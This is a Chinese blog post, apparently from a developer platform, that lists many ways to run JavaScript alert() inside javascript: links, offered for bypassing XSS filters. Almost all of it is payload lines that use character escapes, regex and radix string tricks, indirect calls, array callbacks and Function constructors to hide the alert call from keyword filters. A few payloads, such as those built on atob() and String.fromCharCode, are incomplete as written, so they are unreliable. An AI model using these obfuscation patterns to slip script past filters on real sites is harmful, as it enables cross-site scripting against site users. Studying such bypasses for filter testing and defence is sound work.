XSS多姿势执行alert

以下归纳了多种执行alert函数的方式(前提是获得js执行上下文) ,可用于xss filter bypass

1、常规alert
<a href="javascript:alert()">XSS Test</a>

2、字符串操作
Unicode字符以"\u"开头,例如\u00A9。Unicode码位用"\u{}"表示,例如\u{2F804}
十六进制以"\x"开头,例如\xA9;八进制以"\"和数字开头,例如\251
<a href="javascript:al\u{65}rt()">XSS Test</a>
<a href="javascript:al\u0065rt()">XSS Test</a>
正则表达式返回字符串
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:''.replace(/.*/,alert)">XSS Test</a>
整数toString(radix)转字符串, 第一个点表示浮点数,第二个点调用函数
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>

3、window/top对象 属性调用
<a href="javascript:window['alert']()">XSS Test</a>
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>

4、函数多样调用
<a href="javascript:alert.call(null,'param')">XSS Test</a>
<a href="javascript:alert.apply(null,['param'])">XSS Test</a>
<a href="javascript:alert.bind()('param')">XSS Test</a>
参考 https://www.cnblogs.com/coco1s/p/4833199.html
<a href="javascript:Reflect.apply(alert,null,['param'])">XSS Test</a>
<a href="javascript:setTimeout`alert\x28\x29`">XSS Test</a>
<a href="javascript:eval(atob())">XSS Test</a>
<a href="javascript:eval(String.fromCharCode(97,108,))">XSS Test</a>
(function(){alert()})()
!function(){alert()}()
+function(){alert()}()
-function(){alert()}()
~function(){alert()}()
<a href="javascript:(alert)()">XSS Test</a>
模板字符串:反引号``
<a href="javascript:`${alert()}`">XSS Test</a>

5、利用数组等的功能函数
<a href="javascript:[''].find(alert)">XSS Test</a>
<a href="javascript:[''].findIndex(alert)">XSS Test</a>
<a href="javascript:[''].filter(alert)">XSS Test</a>
<a href="javascript:[''].forEach(alert)">XSS Test</a>
<a href="javascript:(new Map()).set(1,'').forEach(alert)">XSS Test</a>
<a href="javascript:(new Set([''])).forEach(alert)">XSS Test</a>

6、新建函数
<a href="javascript:(new Function('alert()'))()">XSS Test</a>
<a href="javascript:Set.constructor`alert\x28\x29```">XSS Test</a>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert()'))()">XSS Test</a>

参考来源不详

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值